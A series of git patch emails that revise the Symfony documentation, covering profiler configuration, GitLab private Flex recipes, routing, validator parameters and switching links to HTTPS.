+.. caution::
+
+    Similar to other web servers, this tool automatically exposes all environment
+    variables available in the CLI context. Ensure that this local server is not
+    accessible on your local network without consent to avoid security issues.
+
 Platform.sh Integration
 -----------------------
 

From 81a6e1aa1e5b40c5abe2e6f26d42deaa6334aee1 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 11 Apr 2023 13:34:39 +0200
Subject: [PATCH 3208/5766] Tweaks

---
 profiler.rst | 52 ++++++++++++++++++++++++++++------------------------
 1 file changed, 28 insertions(+), 24 deletions(-)

diff --git a/profiler.rst b/profiler.rst
index bdf7e753814..8bc8a21cfdb 100644
--- a/profiler.rst
+++ b/profiler.rst
@@ -110,10 +110,10 @@ need to create a custom data collector. Instead, use the built-in utilities to
     Consider using a professional profiler such as `Blackfire`_ to measure and
     analyze the execution of your application in detail.
 
-.. _enabling-the-profiler-conditionally:
+.. _enabling-the-profiler-programmatically:
 
-Enabling the Profiler Programmatically
---------------------------------------
+Enabling the Profiler Programmatically or Conditionally
+-------------------------------------------------------
 
 Symfony Profiler can be enabled and disabled programmatically. You can use the ``enable()``
 and ``disable()`` methods of the :class:`Symfony\\Component\\HttpKernel\\Profiler\\Profiler`
@@ -170,6 +170,31 @@ create an alias pointing to the existing ``profiler`` service:
 
         $container->setAlias(Profiler::class, 'profiler');
 
+.. _enabling-the-profiler-conditionally:
+
+Enabling the Profiler Conditionally
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Instead of enabling the profiler programmatically as explained in the previous
+section, you can also enable it when a certain condition is met (e.g. a certain
+parameter is included in the URL):
+
+.. code-block:: yaml
+
+    # config/packages/dev/web_profiler.yaml
+        framework:
+            profiler:
+                collect: false
+                collect_parameter: 'profile'
+
+This configuration disables the profiler by default (``collect: false``) to
+improve the application performance; but enables it for requests that include a
+query parameter called ``profile`` (you can freely choose this query parameter name).
+
+In addition to the query parameter, this feature also works when submitting a
+form field with that name (useful to enable the profiler in ``POST`` requests)
+or when including it as a request attribute.
+
 Updating the Web Debug Toolbar After AJAX Requests
 --------------------------------------------------
 
@@ -523,27 +548,6 @@ you'll need to configure the data collector explicitly:
                     // 'priority' => 300,
                 ]);
         };
-        
-Conditional Profiling
-~~~~~~~~~~~~~~~~~~~~~
-
-Symfony profiler provides an immense amount of debug information to quickly find the cause of any problem. However, that comes at a price, because the profiler must collect all that information while serving the request. This can slowdown the application even for requests where you don't look at the profiler information (which are most of them).
-
-You can enable the profiler conditionally. To do that, add these two new config options:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/dev/web_profiler.yaml
-            framework:
-                profiler:
-                    collect: false
-                    collect_parameter: 'profile'
-        
-The collect: false option disables the profiler by default and the collect_parameter: profile option enables it for requests that include the profile query parameter.
-
-You can freely choose the query parameter name and you can also enable the profiler by submitting a form field with that name (useful for POST requests) and even a request attribute.
 
 .. _`Single-page applications`: https://en.wikipedia.org/wiki/Single-page_application
 .. _`Blackfire`: https://blackfire.io/docs/introduction?utm_source=symfony&utm_medium=symfonycom_docs&utm_campaign=profiler

From 53f7f246541cfada1773ed3794f49e0c132b6fef Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 11 Apr 2023 17:35:12 +0200
Subject: [PATCH 3209/5766] Tweaks

---
 security/remember_me.rst | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/security/remember_me.rst b/security/remember_me.rst
index 7c1e5947d88..7880ef9ac75 100644
--- a/security/remember_me.rst
+++ b/security/remember_me.rst
@@ -150,7 +150,11 @@ you can add a ``_remember_me`` key to the body of your POST request.
 .. note::
 
     Optionally, you can configure a custom name for this key using the
-    ``name`` setting under the ``remember_me`` section.
+    ``name`` setting under the ``remember_me`` section of your firewall.
+
+.. versionadded:: 6.3
+
+    The JSON login ``_remember_me`` option was introduced in Symfony 6.3.
 
 Always activating Remember Me
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

From 013b6d1233adb8da6d5f4c55d1636a23416b9e15 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 11 Apr 2023 17:54:38 +0200
Subject: [PATCH 3210/5766] Tweaks

---
 components/var_exporter.rst | 26 ++++++++++++++------------
 1 file changed, 14 insertions(+), 12 deletions(-)

diff --git a/components/var_exporter.rst b/components/var_exporter.rst
index 6ac2d5be5bb..866f97ee2ff 100644
--- a/components/var_exporter.rst
+++ b/components/var_exporter.rst
@@ -90,6 +90,8 @@ file looks like this::
         []
     );
 
+.. _instantiating-php-classes:
+
 Instantiating & Hydrating PHP Classes
 -------------------------------------
 
@@ -101,18 +103,18 @@ their properties without calling their constructors or any other methods::
 
     use Symfony\Component\VarExporter\Instantiator;
 
-    // Creates an empty instance of Foo
+    // creates an empty instance of Foo
     $fooObject = Instantiator::instantiate(Foo::class);
 
-    // Creates a Foo instance and sets one of its properties
+    // creates a Foo instance and sets one of its properties
     $fooObject = Instantiator::instantiate(Foo::class, ['propertyName' => $propertyValue]);
 
-The instantiator also allows you to populate the property of a parent class. Assuming
-``Bar`` is the parent class of ``Foo`` and defines a ``privateBarProperty`` attribute::
+The instantiator can also populate the property of a parent class. Assuming ``Bar``
+is the parent class of ``Foo`` and defines a ``privateBarProperty`` attribute::
 
     use Symfony\Component\VarExporter\Instantiator;
 
-    // Creates a Foo instance and sets a private property defined on its parent Bar class
+    // creates a Foo instance and sets a private property defined on its parent Bar class
     $fooObject = Instantiator::instantiate(Foo::class, [], [
         Bar::class => ['privateBarProperty' => $propertyValue],
     ]);
@@ -122,7 +124,7 @@ created by using the special ``"\0"`` property name to define their internal val
 
     use Symfony\Component\VarExporter\Instantiator;
 
-    // Creates an SplObjectStorage where $info1 is associated with $object1, etc.
+    // creates an SplObjectStorage where $info1 is associated with $object1, etc.
     $theObject = Instantiator::instantiate(SplObjectStorage::class, [
         "\0" => [$object1, $info1, $object2, $info2...],
     ]);
@@ -135,8 +137,8 @@ created by using the special ``"\0"`` property name to define their internal val
 Hydrator
 ~~~~~~~~
 
-The instantiator assumes the object you want to populate doesn't exist yet.
-Somehow, you may want to fill properties of an already existing object. This is
+Instead of populating objects that don't exist yet (using the instantiator),
+sometimes you want to populate properties of an already existing object. This is
 the goal of the :class:`Symfony\\Component\\VarExporter\\Hydrator`. Here is a
 basic usage of the hydrator populating a property of an object::
 
@@ -145,8 +147,8 @@ basic usage of the hydrator populating a property of an object::
     $object = new Foo();
     Hydrator::hydrate($object, ['propertyName' => $propertyValue]);
 
-The hydrator also allows you to populate the property of a parent class. Assuming
-``Bar`` is the parent class of ``Foo`` and defines a ``privateBarProperty`` attribute::
+The hydrator can also populate the property of a parent class. Assuming ``Bar``
+is the parent class of ``Foo`` and defines a ``privateBarProperty`` attribute::
 
     use Symfony\Component\VarExporter\Hydrator;
 
@@ -155,7 +157,7 @@ The hydrator also allows you to populate the property of a parent class. Assumin
         Bar::class => ['privateBarProperty' => $propertyValue],
     ]);
 
-    // Alternatively, you can use the special "\0" syntax
+    // alternatively, you can use the special "\0" syntax
     Hydrator::hydrate($object, ["\0Bar\0privateBarProperty" => $propertyValue]);
 
 Instances of ``ArrayObject``, ``ArrayIterator`` and ``SplObjectHash`` can be
@@ -163,7 +165,7 @@ populated by using the special ``"\0"`` property name to define their internal v
 
     use Symfony\Component\VarExporter\Hydrator;
 
-    // Creates an SplObjectHash where $info1 is associated with $object1, etc.
+    // creates an SplObjectHash where $info1 is associated with $object1, etc.
     $storage = new SplObjectStorage();
     Hydrator::hydrate($storage, [
         "\0" => [$object1, $info1, $object2, $info2...],

From 09d44cb4931c9572941799331ebbe26e012a72f3 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Tue, 11 Apr 2023 18:13:38 +0200
Subject: [PATCH 3211/5766] Adding more details on `action` and `method`

---
 forms.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/forms.rst b/forms.rst
index 17223e15e10..a78eb2f4fe5 100644
--- a/forms.rst
+++ b/forms.rst
@@ -755,8 +755,9 @@ Set the ``label`` option on fields to define their labels explicitly::
 Changing the Action and HTTP Method
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-By default, a form will be submitted via an HTTP POST request to the same
-URL under which the form was rendered. When building the form in the controller,
+By default, the ``<form>`` tag will be rendered with a ``method="post"`` attribute,
+and no ``action`` attribute, causing it to be submitted via an HTTP POST request to the same
+URL under which it was rendered. When building the form,
 use the ``setAction()`` and ``setMethod()`` methods to change this::
 
     // src/Controller/TaskController.php

From 8ee4dc111b04c8c5332abcb60da4168bc4de8520 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 12 Apr 2023 12:13:49 +0200
Subject: [PATCH 3212/5766] Tweaks

---
 quick_tour/the_architecture.rst | 82 ++++++++++++++++-----------------
 1 file changed, 41 insertions(+), 41 deletions(-)

diff --git a/quick_tour/the_architecture.rst b/quick_tour/the_architecture.rst
index 3e6eaaacaae..3bd459d2e3e 100644
--- a/quick_tour/the_architecture.rst
+++ b/quick_tour/the_architecture.rst
@@ -237,66 +237,66 @@ whenever needed.
 But what about when you deploy to production? We will need to hide those tools and
 optimize for speed!
 
-This is solved by Symfony's *environment* system and there are three environments a
-typical Symfony application begins with: ``dev``, ``prod``, and ``test``. You can define
-options for specific environments in the configuration files from the ``config/``
-directory using the special ``when`` keyword:
+This is solved by Symfony's *environment* system. Symfony applications begin with
+three environments: ``dev``, ``prod``, and ``test``. You can define options for
+specific environments in the configuration files from the ``config/`` directory
+using the special ``when@`` keyword:
 
 .. configuration-block::
 
-        .. code-block:: yaml
+    .. code-block:: yaml
 
-            # config/packages/routing.yaml
+        # config/packages/routing.yaml
+        framework:
+            router:
+                utf8: true
+
+        when@prod:
             framework:
                 router:
-                    utf8: true
+                    strict_requirements: null
 
-            when@prod:
-                framework:
-                    router:
-                        strict_requirements: null
+    .. code-block:: xml
 
-        .. code-block:: xml
+        <!-- config/packages/framework.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
 
-            <!-- config/packages/framework.xml -->
-            <?xml version="1.0" encoding="UTF-8" ?>
-            <container xmlns="http://symfony.com/schema/dic/services"
-                xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-                xmlns:framework="http://symfony.com/schema/dic/symfony"
-                xsi:schemaLocation="http://symfony.com/schema/dic/services
-                    https://symfony.com/schema/dic/services/services-1.0.xsd
-                    http://symfony.com/schema/dic/symfony
-                    https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+            <framework:config>
+                <framework:router utf8="true"/>
+            </framework:config>
 
+            <when env="prod">
                 <framework:config>
-                    <framework:router utf8="true"/>
+                    <framework:router strict-requirements="null"/>
                 </framework:config>
+            </when>
+        </container>
 
-                <when env="prod">
-                    <framework:config>
-                        <framework:router strict-requirements="null"/>
-                    </framework:config>
-                </when>
-            </container>
+    .. code-block:: php
 
-        .. code-block:: php
+        // config/packages/framework.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-            // config/packages/framework.php
-            namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+        use Symfony\Config\FrameworkConfig;
 
-            use Symfony\Config\FrameworkConfig;
+        return static function (FrameworkConfig $framework, ContainerConfigurator $containerConfigurator) {
+            $framework->router()
+                ->utf8(true)
+            ;
 
-            return static function (FrameworkConfig $framework, ContainerConfigurator $containerConfigurator) {
+            if ('prod' === $containerConfigurator->env()) {
                 $framework->router()
-                    ->utf8(true)
+                    ->strictRequirements(null)
                 ;
-
-                if ('prod' === $containerConfigurator->env()) {
-                    $framework->router()
-                        ->strictRequirements(null)
-                    ;
-                }
-            };
+            }
+        };
 
 This is a *powerful* idea: by changing one piece of configuration (the environment),
 your app is transformed from a debugging-friendly experience to one that's optimized

From 2e55bdadcb86479328bf09aea2d9f79b0a1643f4 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Wed, 12 Apr 2023 23:47:39 +0200
Subject: [PATCH 3213/5766] Flex private recipes with Gitlab

---
 setup/flex_private_recipes.rst | 101 +++++++++++++++++++++++++++++++--
 1 file changed, 95 insertions(+), 6 deletions(-)

diff --git a/setup/flex_private_recipes.rst b/setup/flex_private_recipes.rst
index 5941ba2908f..14300e70258 100644
--- a/setup/flex_private_recipes.rst
+++ b/setup/flex_private_recipes.rst
@@ -8,7 +8,7 @@ private Symfony Flex recipe repositories, and seamlessly integrate them into the
 This is particularly useful when you have private bundles or packages that must
 perform their own installation tasks. To do this, you need to complete several steps:
 
-* Create a private GitHub repository;
+* Create a private repository;
 * Create your private recipes;
 * Create an index to the recipes;
 * Store your recipes in the private repository;
@@ -16,14 +16,26 @@ perform their own installation tasks. To do this, you need to complete several s
 * Configure your project's ``composer.json`` file; and
 * Install the recipes in your project.
 
-Create a Private GitHub Repository
-----------------------------------
+.. _create-a-private-github-repository
+
+Create a Private Repository
+---------------------------
+
+GitHub
+~~~~~~
 
 Log in to your GitHub.com account, click your account icon in the top-right
 corner, and select **Your Repositories**. Then click the **New** button, fill in
 the **repository name**, select the **Private** radio button, and click the
 **Create Repository** button.
 
+Gitlab
+~~~~~~
+
+Log in to your Gitlab.com account, click the **New project** button, select **Create blank project**, fill in
+the **Project name**, select the **Private** radio button, and click the
+**Create project** button.
+
 Create Your Private Recipes
 ---------------------------
 
@@ -124,6 +136,9 @@ Create an Index to the Recipes
 The next step is to create an ``index.json`` file, which will contain entries
 for all your private recipes, and other general configuration information.
 
+GitHub
+~~~~~~
+
 The ``index.json`` file has the following format:
 
 .. code-block:: json
@@ -134,11 +149,11 @@ The ``index.json`` file has the following format:
                 "1.0"
             ]
         },
-        "branch": "master",
+        "branch": "main",
         "is_contrib": true,
         "_links": {
             "repository": "github.com/your-github-account-name/your-recipes-repository",
-            "origin_template": "{package}:{version}@github.com/your-github-account-name/your-recipes-repository:master",
+            "origin_template": "{package}:{version}@github.com/your-github-account-name/your-recipes-repository:main",
             "recipe_template": "https://api.github.com/repos/your-github-account-name/your-recipes-repository/contents/{package_dotted}.{version}.json"
         }
     }
@@ -146,15 +161,43 @@ The ``index.json`` file has the following format:
 Create an entry in ``"recipes"`` for each of your bundle recipes. Replace
 ``your-github-account-name`` and ``your-recipes-repository`` with your own details.
 
+Gitlab
+~~~~~~
+
+The ``index.json`` file has the following format:
+
+.. code-block:: json
+
+    {
+        "recipes": {
+            "acme/private-bundle": [
+                "1.0"
+            ]
+        },
+        "branch": "main",
+        "is_contrib": true,
+        "_links": {
+            "repository": "gitlab.com/your-gitlab-account-name/your-recipes-repository",
+            "origin_template": "{package}:{version}@gitlab.com/your-gitlab-account-name/your-recipes-repository:main",
+            "recipe_template": "https://gitlab.com/api/v4/projects/your-gitlab-project-id/repository/files/{package_dotted}.{version}.json/raw?ref=main"
+        }
+    }
+
+Create an entry in ``"recipes"`` for each of your bundle recipes. Replace
+``your-gitlab-account-name``, ``your-gitlab-repository`` and ``your-gitlab-project-id`` with your own details.
+
 Store Your Recipes in the Private Repository
 --------------------------------------------
 
 Upload the recipe ``.json`` file(s) and the ``index.json`` file into the root
-directory of your private GitHub repository.
+directory of your private repository.
 
 Grant ``composer`` Access to the Private Repository
 ---------------------------------------------------
 
+GitHub
+~~~~~~
+
 In your GitHub account, click your account icon in the top-right corner, select
 ``Settings`` and ``Developer Settings``. Then select ``Personal Access Tokens``.
 
@@ -168,9 +211,29 @@ computer, and execute the following command:
 
 Replace ``[token]`` with the value of your GitHub personal access token.
 
+Gitlab
+~~~~~~
+
+In your Gitlab account, click your account icon in the top-right corner, select
+``Preferences`` and ``Access Tokens``.
+
+Generate a new personal access token with ``read_api`` and ``read_repository``
+scopes. Copy the access token value, switch to the terminal of your local
+computer, and execute the following command:
+
+.. code-block:: terminal
+
+    $ composer config --global --auth gitlab-oauth.gitlab.com [token]
+
+Replace ``[token]`` with the value of your Gitlab personal access token.
+
+
 Configure Your Project's ``composer.json`` File
 -----------------------------------------------
 
+GitHub
+~~~~~~
+
 Add the following to your project's ``composer.json`` file:
 
 .. code-block:: json
@@ -199,6 +262,32 @@ Replace ``your-github-account-name`` and ``your-recipes-repository`` with your o
     The ``endpoint`` URL **must** point to ``https://api.github.com/repos`` and
     **not** to ``https://www.github.com``.
 
+Gitlab
+~~~~~~
+
+Add the following to your project's ``composer.json`` file:
+
+.. code-block:: json
+
+    {
+        "extra": {
+            "symfony": {
+                "endpoint": [
+                    "https://gitlab.com/api/v4/projects/your-gitlab-project-id/repository/files/index.json/raw?ref=main",
+                    "flex://defaults"
+                ]
+            }
+        }
+    }
+
+Replace ``your-gitlab-project-id`` with your own details.
+
+.. tip::
+
+    The ``extra.symfony`` key will most probably already exist in your
+    ``composer.json``. In that case, add the ``"endpoint"`` key to the existing
+    ``extra.symfony`` entry.
+
 Install the Recipes in Your Project
 -----------------------------------
 

From 2ea62fab556334be1cb27198adb3c9248977d1b0 Mon Sep 17 00:00:00 2001
From: hbengamra <ha.ben.gamra@gmail.com>
Date: Thu, 13 Apr 2023 00:56:35 +0200
Subject: [PATCH 3214/5766] Update user_providers.rst

Adding return type to serveral functions
---
 security/user_providers.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/security/user_providers.rst b/security/user_providers.rst
index 57c50149bc0..ba7b169f0c9 100644
--- a/security/user_providers.rst
+++ b/security/user_providers.rst
@@ -328,7 +328,7 @@ command will generate a nice skeleton to get you started::
          *
          * @return UserInterface
          */
-        public function refreshUser(UserInterface $user)
+        public function refreshUser(UserInterface $user): UserInterface
         {
             if (!$user instanceof User) {
                 throw new UnsupportedUserException(sprintf('Invalid user class "%s".', get_class($user)));
@@ -342,7 +342,7 @@ command will generate a nice skeleton to get you started::
         /**
          * Tells Symfony to use this provider for this User class.
          */
-        public function supportsClass(string $class)
+        public function supportsClass(string $class): bool
         {
             return User::class === $class || is_subclass_of($class, User::class);
         }

From 20ee4d744be096cfd9a7912441c804e2748e4c5a Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Wed, 12 Apr 2023 21:35:41 +0200
Subject: [PATCH 3215/5766] Set request stateless only if the attribute is not
 defined

---
 reference/configuration/security.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index c77602109c1..046b73604b8 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -1006,7 +1006,8 @@ the session must not be used when authenticating users:
             // ...
         };
 
-Routes under this firewall will be :ref:`configured stateless <stateless-routing>`.
+Routes under this firewall will be :ref:`configured stateless <stateless-routing>`
+when they are not explicitly configured stateless or not.
 
 .. versionadded:: 6.3
 

From 1e9f451c1793c3f457efbd247479995a684aecb4 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Tue, 11 Apr 2023 18:02:14 +0200
Subject: [PATCH 3216/5766] Chaning `RouterInterface` =>
 `UrlGeneratorInterface`

Further up on the page it's advised to use `UrlGeneratorInterface` as typehint. I don't know what the difference is, but I'm guessing that it saves you from `use RouterInterface` (if you need the `UrlGeneratorInterface` for something else anyway, as in this example).
Is this right?
---
 routing.rst | 19 +++++++------------
 1 file changed, 7 insertions(+), 12 deletions(-)

diff --git a/routing.rst b/routing.rst
index 66769dcc9de..56f969cc331 100644
--- a/routing.rst
+++ b/routing.rst
@@ -2772,37 +2772,32 @@ Now you'll get the expected results when generating URLs in your commands::
     use Symfony\Component\Console\Input\InputInterface;
     use Symfony\Component\Console\Output\OutputInterface;
     use Symfony\Component\Routing\Generator\UrlGeneratorInterface;
-    use Symfony\Component\Routing\RouterInterface;
     // ...
 
     class SomeCommand extends Command
     {
-        private $router;
-
-        public function __construct(RouterInterface $router)
+        public function __construct(private UrlGeneratorInterface $urlGenerator)
         {
             parent::__construct();
-
-            $this->router = $router;
         }
 
         protected function execute(InputInterface $input, OutputInterface $output): int
         {
             // generate a URL with no route arguments
-            $signUpPage = $this->router->generate('sign_up');
+            $signUpPage = $this->urlGenerator->generate('sign_up');
 
             // generate a URL with route arguments
-            $userProfilePage = $this->router->generate('user_profile', [
+            $userProfilePage = $this->urlGenerator->generate('user_profile', [
                 'username' => $user->getUserIdentifier(),
             ]);
 
-            // generated URLs are "absolute paths" by default. Pass a third optional
-            // argument to generate different URLs (e.g. an "absolute URL")
-            $signUpPage = $this->router->generate('sign_up', [], UrlGeneratorInterface::ABSOLUTE_URL);
+            // by default, generated URLs are "absolute paths". Pass a third optional
+            // argument to generate different URIs (e.g. an "absolute URL")
+            $signUpPage = $this->urlGenerator->generate('sign_up', [], UrlGeneratorInterface::ABSOLUTE_URL);
 
             // when a route is localized, Symfony uses by default the current request locale
             // pass a different '_locale' value if you want to set the locale explicitly
-            $signUpPageInDutch = $this->router->generate('sign_up', ['_locale' => 'nl']);
+            $signUpPageInDutch = $this->urlGenerator->generate('sign_up', ['_locale' => 'nl']);
 
             // ...
         }

From 2ef7004615e47e2e78b64ccef4c18248bee58f21 Mon Sep 17 00:00:00 2001
From: aurac <aurelienadam96@gmail.com>
Date: Thu, 13 Apr 2023 15:41:11 +0200
Subject: [PATCH 3217/5766] Update external link

Updated link for Ryan Tomayko's article "Things Caches Do"
---
 http_cache.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/http_cache.rst b/http_cache.rst
index dc763bb3ec9..16fd7215385 100644
--- a/http_cache.rst
+++ b/http_cache.rst
@@ -372,7 +372,7 @@ Learn more
 
     http_cache/*
 
-.. _`Things Caches Do`: https://2ndscale.com/writings/things-caches-do
+.. _`Things Caches Do`: https://tomayko.com/blog/2008/things-caches-do
 .. _`Cache Tutorial`: https://www.mnot.net/cache_docs/
 .. _`Varnish`: https://varnish-cache.org/
 .. _`Squid in reverse proxy mode`: https://wiki.squid-cache.org/SquidFaq/ReverseProxy

From dcd4423478919f1f70204413a574b2b50d512029 Mon Sep 17 00:00:00 2001
From: Benjamin Georgeault <benjamin@drosalys.fr>
Date: Thu, 13 Apr 2023 15:59:08 +0200
Subject: [PATCH 3218/5766] [Validator] Add value_length to available parameter
 for Length constraint

---
 reference/constraints/Length.rst | 51 +++++++++++++++++++++-----------
 1 file changed, 33 insertions(+), 18 deletions(-)

diff --git a/reference/constraints/Length.rst b/reference/constraints/Length.rst
index 7ed54ea3289..623a2adff9b 100644
--- a/reference/constraints/Length.rst
+++ b/reference/constraints/Length.rst
@@ -170,12 +170,17 @@ value's length is not exactly this value.
 
 You can use the following parameters in this message:
 
-=================  ============================================================
-Parameter          Description
-=================  ============================================================
-``{{ limit }}``    The exact expected length
-``{{ value }}``    The current (invalid) value
-=================  ============================================================
+======================  ============================================================
+Parameter               Description
+======================  ============================================================
+``{{ limit }}``         The exact expected length
+``{{ value }}``         The current (invalid) value
+``{{ value_length }}``  The current value's length
+======================  ============================================================
+
+.. versionadded:: 6.3
+
+    The `{{ value_length }}` parameter was introduced in Symfony 6.3.
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
@@ -199,12 +204,17 @@ than the `max`_ option.
 
 You can use the following parameters in this message:
 
-=================  ============================================================
-Parameter          Description
-=================  ============================================================
-``{{ limit }}``    The expected maximum length
-``{{ value }}``    The current (invalid) value
-=================  ============================================================
+======================  ============================================================
+Parameter               Description
+======================  ============================================================
+``{{ limit }}``         The expected maximum length
+``{{ value }}``         The current (invalid) value
+``{{ value_length }}``  The current value's length
+======================  ============================================================
+
+.. versionadded:: 6.3
+
+    The `{{ value_length }}` parameter was introduced in Symfony 6.3.
 
 ``min``
 ~~~~~~~
@@ -230,12 +240,17 @@ than the `min`_ option.
 
 You can use the following parameters in this message:
 
-=================  ============================================================
-Parameter          Description
-=================  ============================================================
-``{{ limit }}``    The expected minimum length
-``{{ value }}``    The current (invalid) value
-=================  ============================================================
+======================  ============================================================
+Parameter               Description
+======================  ============================================================
+``{{ limit }}``         The expected minimum length
+``{{ value }}``         The current (invalid) value
+``{{ value_length }}``  The current value's length
+======================  ============================================================
+
+.. versionadded:: 6.3
+
+    The `{{ value_length }}` parameter was introduced in Symfony 6.3.
 
 .. include:: /reference/constraints/_normalizer-option.rst.inc
 

From dfcf6a70de00455a7a4e399384b3326d651c0883 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Fri, 14 Apr 2023 08:32:20 +0200
Subject: [PATCH 3219/5766] [DependencyInjection] Formatting

---
 service_container/tags.rst | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/service_container/tags.rst b/service_container/tags.rst
index f1d7b4080ee..94fb0e9e1c8 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -601,7 +601,8 @@ directly via PHP attributes:
         {
             public function __construct(
                 // the attribute must be applied directly to the argument to autowire
-                #[TaggedIterator('app.handler')] iterable $handlers
+                #[TaggedIterator('app.handler')]
+                iterable $handlers
             ) {
             }
         }
@@ -683,7 +684,8 @@ iterator, add the ``exclude`` option:
         class HandlerCollection
         {
             public function __construct(
-                #[TaggedIterator('app.handler', exclude: ['App\Handler\Three'])] iterable $handlers
+                #[TaggedIterator('app.handler', exclude: ['App\Handler\Three'])]
+                iterable $handlers
             ) {
             }
         }

From a8045320eb88ba3d0cb5c4cc6873cf193228589b Mon Sep 17 00:00:00 2001
From: Christophe Coevoet <stof@notk.org>
Date: Fri, 14 Apr 2023 11:48:23 +0200
Subject: [PATCH 3220/5766] Use HTTPS links when possible

---
 components/asset.rst                           | 16 ++++++++--------
 components/intl.rst                            |  2 +-
 components/phpunit_bridge.rst                  |  8 ++++----
 components/serializer.rst                      |  2 +-
 components/uid.rst                             |  4 ++--
 deployment.rst                                 |  4 ++--
 deployment/proxies.rst                         |  2 +-
 http_cache/esi.rst                             |  2 +-
 http_cache/varnish.rst                         |  4 ++--
 introduction/http_fundamentals.rst             |  4 ++--
 reference/constraints/File.rst                 |  2 +-
 reference/constraints/Image.rst                |  2 +-
 reference/formats/message_format.rst           |  4 ++--
 reference/formats/xliff.rst                    |  2 +-
 reference/forms/types/datetime.rst             |  2 +-
 reference/forms/types/language.rst             |  2 +-
 reference/forms/types/options/required.rst.inc |  2 +-
 reference/forms/types/timezone.rst             |  2 +-
 security/ldap.rst                              |  2 +-
 serializer.rst                                 |  2 +-
 templates.rst                                  |  2 +-
 21 files changed, 36 insertions(+), 36 deletions(-)

diff --git a/components/asset.rst b/components/asset.rst
index b5c171d0fc9..df4a6aa3121 100644
--- a/components/asset.rst
+++ b/components/asset.rst
@@ -294,12 +294,12 @@ class to generate absolute URLs for their assets::
     // ...
 
     $urlPackage = new UrlPackage(
-        'http://static.example.com/images/',
+        'https://static.example.com/images/',
         new StaticVersionStrategy('v1')
     );
 
     echo $urlPackage->getUrl('/logo.png');
-    // result: http://static.example.com/images/logo.png?v1
+    // result: https://static.example.com/images/logo.png?v1
 
 You can also pass a schema-agnostic URL::
 
@@ -326,15 +326,15 @@ constructor::
     // ...
 
     $urls = [
-        '//static1.example.com/images/',
-        '//static2.example.com/images/',
+        'https://static1.example.com/images/',
+        'https://static2.example.com/images/',
     ];
     $urlPackage = new UrlPackage($urls, new StaticVersionStrategy('v1'));
 
     echo $urlPackage->getUrl('/logo.png');
-    // result: http://static1.example.com/images/logo.png?v1
+    // result: https://static1.example.com/images/logo.png?v1
     echo $urlPackage->getUrl('/icon.png');
-    // result: http://static2.example.com/images/icon.png?v1
+    // result: https://static2.example.com/images/icon.png?v1
 
 For each asset, one of the URLs will be randomly used. But, the selection
 is deterministic, meaning that each asset will always be served by the same
@@ -384,7 +384,7 @@ they all have different base paths::
     $defaultPackage = new Package($versionStrategy);
 
     $namedPackages = [
-        'img' => new UrlPackage('http://img.example.com/', $versionStrategy),
+        'img' => new UrlPackage('https://img.example.com/', $versionStrategy),
         'doc' => new PathPackage('/somewhere/deep/for/documents', $versionStrategy),
     ];
 
@@ -400,7 +400,7 @@ document inside a template::
     // result: /main.css?v1
 
     echo $packages->getUrl('/logo.png', 'img');
-    // result: http://img.example.com/logo.png?v1
+    // result: https://img.example.com/logo.png?v1
 
     echo $packages->getUrl('resume.pdf', 'doc');
     // result: /somewhere/deep/for/documents/resume.pdf?v1
diff --git a/components/intl.rst b/components/intl.rst
index bdf252f1650..8e4cfb5a9f6 100644
--- a/components/intl.rst
+++ b/components/intl.rst
@@ -378,7 +378,7 @@ Learn more
     /reference/forms/types/timezone
 
 .. _install the intl extension: https://www.php.net/manual/en/intl.setup.php
-.. _ICU library: http://site.icu-project.org/
+.. _ICU library: https://icu.unicode.org/
 .. _`Unicode ISO 15924 Registry`: https://www.unicode.org/iso15924/iso15924-codes.html
 .. _`ISO 3166-1 alpha-2`: https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2
 .. _`ISO 3166-1 alpha-3`: https://en.wikipedia.org/wiki/ISO_3166-1_alpha-3
diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index 6b44256cc6e..2d8803c4089 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -50,7 +50,7 @@ to register a new `test listener`_ called ``SymfonyTestsListener``:
 
 .. code-block:: xml
 
